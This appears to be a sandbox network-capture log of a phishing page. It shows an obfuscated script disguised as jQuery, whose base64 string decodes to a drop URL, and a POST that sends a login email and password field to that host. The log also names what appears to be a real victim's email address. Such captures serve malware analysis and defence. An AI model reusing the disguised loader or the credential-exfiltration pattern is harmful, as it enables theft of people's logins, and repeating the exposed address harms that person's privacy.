Jan 13, 2025 16:47:08.061239958 CET	498	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:47:06 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent,Accept-Encoding Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Encoding: gzip Content-Length: 83 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	64365	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:47:08.072468996 CET	298	OUT	GET /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 13, 2025 16:47:08.774758101 CET	374	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:47:08 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Length: 0 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	64368	94.154.117.206	80

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:48:04.859833956 CET	483	OUT	POST /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive Content-Length: 43 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 73 74 69 6a 6e 2e 73 65 73 73 65 6c 6c 65 40 62 70 6f 73 74 2e 62 65 26 70 61 73 73 3d Data Ascii: do=login&user=stijn.sesselle@bpost.be&pass=
Jan 13, 2025 16:48:07.013286114 CET	498	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:48:05 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent,Accept-Encoding Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Encoding: gzip Content-Length: 83 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	151.106.103.153	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:53 UTC	586	OUT	GET /js/css/jquery.js HTTP/1.1 Host: www.newlifecon.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:53 UTC	641	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=604800 expires: Mon, 20 Jan 2025 15:44:53 GMT content-type: application/javascript last-modified: Sun, 12 Jan 2025 20:01:40 GMT accept-ranges: bytes content-length: 846520 date: Mon, 13 Jan 2025 15:44:53 GMT server: LiteSpeed platform: hostinger strict-transport-security: max-age=31536000; includeSubDomains; preload x-xss-protection: 1; mode=block x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2025-01-13 15:44:53 UTC	1368	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 44 6f 76 4c 32 6c 75 64 47 56 6a 61 47 52 6c 63 32 6c 6e 62 69 35 72 65 57 78 76 63 79 35 77 62 43 39 33 63 43 31 6a 62 32 35 30 5a 57 35 30 4c 32 52 76 62 69 39 6a 62 47 46 7a 63 79 35 77 61 48 41 3d 22 3b 0a 76 61 72 20 5f 30 78 34 62 36 38 32 33 3d 5f 30 78 31 62 38 61 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 32 63 63 28 29 7b 76 61 72 20 5f 30 78 33 65 30 32 64 30 3d 5b 27 74 72 69 6d 27 2c 27 6d 61 70 27 2c 27 73 70 6c 69 74 27 2c 27 6c 6f 67 27 2c 27 6c 65 6e 67 74 68 27 2c 27 32 34 30 36 32 34 52 54 64 48 65 50 27 2c 27 33 39 35 31 4d 61 6b Data Ascii: /! jQuery v3.6.0 jquery.com \| jquery.org/license /var file = "aHR0cDovL2ludGVjaGRlc2lnbi5reWxvcy5wbC93cC1jb250ZW50L2Rvbi9jbGFzcy5waHA=";var _0x4b6823=_0x1b8a;function _0x32cc(){var _0x3e02d0=['trim','map','split','log','length','240624RTdHeP','3951Mak
2025-01-13 15:44:53 UTC	14994	IN	Data Raw: 6e 20 5f 30 78 33 32 63 63 28 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 61 37 62 37 63 2c 5f 30 78 34 62 62 30 31 34 29 7b 76 61 72 20 5f 30 78 33 33 62 35 32 32 3d 5f 30 78 31 62 38 61 2c 5f 30 78 31 62 61 66 33 36 3d 5f 30 78 35 61 37 62 37 63 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 35 30 30 39 32 63 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 33 62 35 32 32 28 30 78 63 64 29 29 2f 30 78 31 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 33 62 35 32 32 28 30 78 64 36 29 29 2f 30 78 32 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 33 62 35 32 32 28 30 78 64 37 29 29 2f 30 78 33 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 33 33 62 35 32 32 28 30 78 63 62 29 29 2f 30 78 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 Data Ascii: n _0x32cc();}(function(_0x5a7b7c,_0x4bb014){var _0x33b522=_0x1b8a,_0x1baf36=_0x5a7b7c();while(!![]){try{var _0x50092c=parseInt(_0x33b522(0xcd))/0x1+-parseInt(_0x33b522(0xd6))/0x2+-parseInt(_0x33b522(0xd7))/0x3*(parseInt(_0x33b522(0xcb))/0x4)+-parseInt(_0x
2025-01-13 15:44:53 UTC	16384	IN	Data Raw: 6f 76 65 72 66 6c 6f 77 25 33 41 25 35 43 78 32 30 61 75 74 6f 25 33 42 25 35 43 78 32 30 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 25 33 41 25 35 43 78 32 30 73 63 72 6f 6c 6c 62 61 72 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 66 69 67 75 72 65 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 6d 61 72 67 69 6e 25 33 41 25 35 43 78 32 30 30 25 35 43 78 32 30 30 25 35 43 78 32 30 31 72 65 6d 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 69 6d 67 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 25 33 41 25 35 43 78 32 30 6d 69 64 64 6c 65 25 33 42 25 35 43 78 32 30 62 6f 72 64 65 72 2d 73 74 79 6c 65 25 33 41 25 35 43 78 32 30 6e 6f 6e 65 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 73 76 67 25 33 41 6e 6f 74 Data Ascii: overflow%3A%5Cx20auto%3B%5Cx20-ms-overflow-style%3A%5Cx20scrollbar%5Cx20%7D%5Cx20figure%5Cx20%7B%5Cx20margin%3A%5Cx200%5Cx200%5Cx201rem%5Cx20%7D%5Cx20img%5Cx20%7B%5Cx20vertical-align%3A%5Cx20middle%3B%5Cx20border-style%3A%5Cx20none%5Cx20%7D%5Cx20svg%3Anot
2025-01-13 15:44:53 UTC	16384	IN	Data Raw: 6d 61 78 2d 77 69 64 74 68 25 33 41 25 35 43 78 32 30 31 30 30 25 32 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 63 6f 6c 2d 73 6d 2d 61 75 74 6f 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 25 33 41 25 35 43 78 32 30 30 25 33 42 25 35 43 78 32 30 2d 6d 73 2d 66 6c 65 78 25 33 41 25 35 43 78 32 30 30 25 35 43 78 32 30 30 25 35 43 78 32 30 61 75 74 6f 25 33 42 25 35 43 78 32 30 66 6c 65 78 25 33 41 25 35 43 78 32 30 30 25 35 43 78 32 30 30 25 35 43 78 32 30 61 75 74 6f 25 33 42 25 35 43 78 32 30 77 69 64 74 68 25 33 41 25 35 43 78 32 30 61 75 74 6f 25 33 42 25 35 43 78 32 30 6d 61 78 2d 77 69 64 74 68 25 33 41 25 35 43 78 32 30 6e 6f 6e 65 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 63 6f 6c 2d 73 Data Ascii: max-width%3A%5Cx20100%25%5Cx20%7D%5Cx20.col-sm-auto%5Cx20%7B%5Cx20-webkit-box-flex%3A%5Cx200%3B%5Cx20-ms-flex%3A%5Cx200%5Cx200%5Cx20auto%3B%5Cx20flex%3A%5Cx200%5Cx200%5Cx20auto%3B%5Cx20width%3A%5Cx20auto%3B%5Cx20max-width%3A%5Cx20none%5Cx20%7D%5Cx20.col-s
2025-01-13 15:44:53 UTC	16384	IN	Data Raw: 32 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 6f 66 66 73 65 74 2d 6c 67 2d 34 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 25 35 43 78 32 30 33 33 2e 33 33 33 33 33 33 25 32 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 6f 66 66 73 65 74 2d 6c 67 2d 35 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 25 35 43 78 32 30 34 31 2e 36 36 36 36 36 37 25 32 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 6f 66 66 73 65 74 2d 6c 67 2d 36 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 25 35 43 78 32 30 35 30 25 32 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 6f 66 66 73 65 74 2d 6c 67 2d 37 25 35 43 78 32 30 25 37 42 25 35 Data Ascii: 25%5Cx20%7D%5Cx20.offset-lg-4%5Cx20%7B%5Cx20margin-left%3A%5Cx2033.333333%25%5Cx20%7D%5Cx20.offset-lg-5%5Cx20%7B%5Cx20margin-left%3A%5Cx2041.666667%25%5Cx20%7D%5Cx20.offset-lg-6%5Cx20%7B%5Cx20margin-left%3A%5Cx2050%25%5Cx20%7D%5Cx20.offset-lg-7%5Cx20%7B%5
2025-01-13 15:44:53 UTC	16384	IN	Data Raw: 41 25 35 43 78 32 30 63 61 6c 63 25 32 38 2e 33 37 35 72 65 6d 25 35 43 78 32 30 2b 25 35 43 78 32 30 31 70 78 25 32 39 25 33 42 25 35 43 78 32 30 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 25 33 41 25 35 43 78 32 30 63 61 6c 63 25 32 38 2e 33 37 35 72 65 6d 25 35 43 78 32 30 2b 25 35 43 78 32 30 31 70 78 25 32 39 25 33 42 25 35 43 78 32 30 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 25 33 41 25 35 43 78 32 30 30 25 33 42 25 35 43 78 32 30 66 6f 6e 74 2d 73 69 7a 65 25 33 41 25 35 43 78 32 30 69 6e 68 65 72 69 74 25 33 42 25 35 43 78 32 30 6c 69 6e 65 2d 68 65 69 67 68 74 25 33 41 25 35 43 78 32 30 31 2e 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 63 6f 6c 2d 66 6f 72 6d 2d 6c 61 62 65 6c 2d 6c 67 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 70 61 64 64 Data Ascii: A%5Cx20calc%28.375rem%5Cx20+%5Cx201px%29%3B%5Cx20padding-bottom%3A%5Cx20calc%28.375rem%5Cx20+%5Cx201px%29%3B%5Cx20margin-bottom%3A%5Cx200%3B%5Cx20font-size%3A%5Cx20inherit%3B%5Cx20line-height%3A%5Cx201.5%5Cx20%7D%5Cx20.col-form-label-lg%5Cx20%7B%5Cx20padd
2025-01-13 15:44:53 UTC	16384	IN	Data Raw: 65 72 25 33 42 25 35 43 78 32 30 61 6c 69 67 6e 2d 69 74 65 6d 73 25 33 41 25 35 43 78 32 30 63 65 6e 74 65 72 25 33 42 25 35 43 78 32 30 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 25 33 41 25 35 43 78 32 30 30 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 66 6f 72 6d 2d 69 6e 6c 69 6e 65 25 35 43 78 32 30 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 64 69 73 70 6c 61 79 25 33 41 25 35 43 78 32 30 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 25 33 42 25 35 43 78 32 30 77 69 64 74 68 25 33 41 25 35 43 78 32 30 61 75 74 6f 25 33 42 25 35 43 78 32 30 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 25 33 41 25 35 43 78 32 30 6d 69 64 64 6c 65 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 66 6f 72 6d 2d 69 6e 6c 69 6e 65 25 35 43 78 32 Data Ascii: er%3B%5Cx20align-items%3A%5Cx20center%3B%5Cx20margin-bottom%3A%5Cx200%5Cx20%7D%5Cx20.form-inline%5Cx20.form-control%5Cx20%7B%5Cx20display%3A%5Cx20inline-block%3B%5Cx20width%3A%5Cx20auto%3B%5Cx20vertical-align%3A%5Cx20middle%5Cx20%7D%5Cx20.form-inline%5Cx2
2025-01-13 15:44:53 UTC	16384	IN	Data Raw: 35 43 78 32 30 25 32 33 66 66 66 25 33 42 25 35 43 78 32 30 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 25 33 41 25 35 43 78 32 30 25 32 33 32 38 61 37 34 35 25 33 42 25 35 43 78 32 30 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 25 33 41 25 35 43 78 32 30 25 32 33 32 38 61 37 34 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 75 63 63 65 73 73 2e 66 6f 63 75 73 25 32 43 25 35 43 78 32 30 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 75 63 63 65 73 73 25 33 41 66 6f 63 75 73 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 62 6f 78 2d 73 68 61 64 6f 77 25 33 41 25 35 43 78 32 30 30 25 35 43 78 32 30 30 25 35 43 78 32 30 30 25 35 43 78 32 30 2e 32 72 65 6d 25 35 43 78 32 30 72 67 62 61 25 32 38 34 30 25 32 43 25 35 43 78 32 30 Data Ascii: 5Cx20%23fff%3B%5Cx20background-color%3A%5Cx20%2328a745%3B%5Cx20border-color%3A%5Cx20%2328a745%5Cx20%7D%5Cx20.btn-outline-success.focus%2C%5Cx20.btn-outline-success%3Afocus%5Cx20%7B%5Cx20box-shadow%3A%5Cx200%5Cx200%5Cx200%5Cx20.2rem%5Cx20rgba%2840%2C%5Cx20
2025-01-13 15:44:53 UTC	16384	IN	Data Raw: 43 25 35 43 78 32 30 2e 62 74 6e 2d 67 72 6f 75 70 2d 76 65 72 74 69 63 61 6c 25 35 43 78 32 30 2e 62 74 6e 2d 67 72 6f 75 70 2b 2e 62 74 6e 2d 67 72 6f 75 70 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 25 35 43 78 32 30 2d 31 70 78 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 62 74 6e 2d 74 6f 6f 6c 62 61 72 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 64 69 73 70 6c 61 79 25 33 41 25 35 43 78 32 30 2d 77 65 62 6b 69 74 2d 62 6f 78 25 33 42 25 35 43 78 32 30 64 69 73 70 6c 61 79 25 33 41 25 35 43 78 32 30 2d 6d 73 2d 66 6c 65 78 62 6f 78 25 33 42 25 35 43 78 32 30 64 69 73 70 6c 61 79 25 33 41 25 35 43 78 32 30 66 6c 65 78 25 33 42 25 35 43 78 32 30 2d 6d 73 2d 66 6c 65 78 2d 77 72 61 70 25 33 41 25 35 43 78 Data Ascii: C%5Cx20.btn-group-vertical%5Cx20.btn-group+.btn-group%5Cx20%7B%5Cx20margin-left%3A%5Cx20-1px%5Cx20%7D%5Cx20.btn-toolbar%5Cx20%7B%5Cx20display%3A%5Cx20-webkit-box%3B%5Cx20display%3A%5Cx20-ms-flexbox%3B%5Cx20display%3A%5Cx20flex%3B%5Cx20-ms-flex-wrap%3A%5Cx
2025-01-13 15:44:53 UTC	16384	IN	Data Raw: 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 69 6e 70 75 74 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 70 6f 73 69 74 69 6f 6e 25 33 41 25 35 43 78 32 30 72 65 6c 61 74 69 76 65 25 33 42 25 35 43 78 32 30 7a 2d 69 6e 64 65 78 25 33 41 25 35 43 78 32 30 32 25 33 42 25 35 43 78 32 30 77 69 64 74 68 25 33 41 25 35 43 78 32 30 31 30 30 25 32 35 25 33 42 25 35 43 78 32 30 68 65 69 67 68 74 25 33 41 25 35 43 78 32 30 63 61 6c 63 25 32 38 32 2e 32 35 72 65 6d 25 35 43 78 32 30 2b 25 35 43 78 32 30 32 70 78 25 32 39 25 33 42 25 35 43 78 32 30 6d 61 72 67 69 6e 25 33 41 25 35 43 78 32 30 30 25 33 42 25 35 43 78 32 30 6f 70 61 63 69 74 79 25 33 41 25 35 43 78 32 30 30 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 63 75 73 74 6f Data Ascii: Cx20%7D%5Cx20.custom-file-input%5Cx20%7B%5Cx20position%3A%5Cx20relative%3B%5Cx20z-index%3A%5Cx202%3B%5Cx20width%3A%5Cx20100%25%3B%5Cx20height%3A%5Cx20calc%282.25rem%5Cx20+%5Cx202px%29%3B%5Cx20margin%3A%5Cx200%3B%5Cx20opacity%3A%5Cx200%5Cx20%7D%5Cx20.custo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	104.17.25.14	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:55 UTC	627	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:55 UTC	958	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:44:55 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 239803 Expires: Sat, 03 Jan 2026 15:44:55 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dD2Sz2lfKwkLbUQ4TDB9NMZFB11ERkcOPfIwQ7aKQy%2FwdvWcFpUDgF5rz7ocEl12x1sqmeT0KF2GXgyZio%2Fbneulq49BH1A%2BCiJ0VKquR3eitqO4gJTgjFLjz4iep2ECM4JfozBU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 901682a8bf2b4338-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 15:44:55 UTC	411	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a Data Ascii: .nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 Data Ascii: ar o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 Data Ascii: p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(
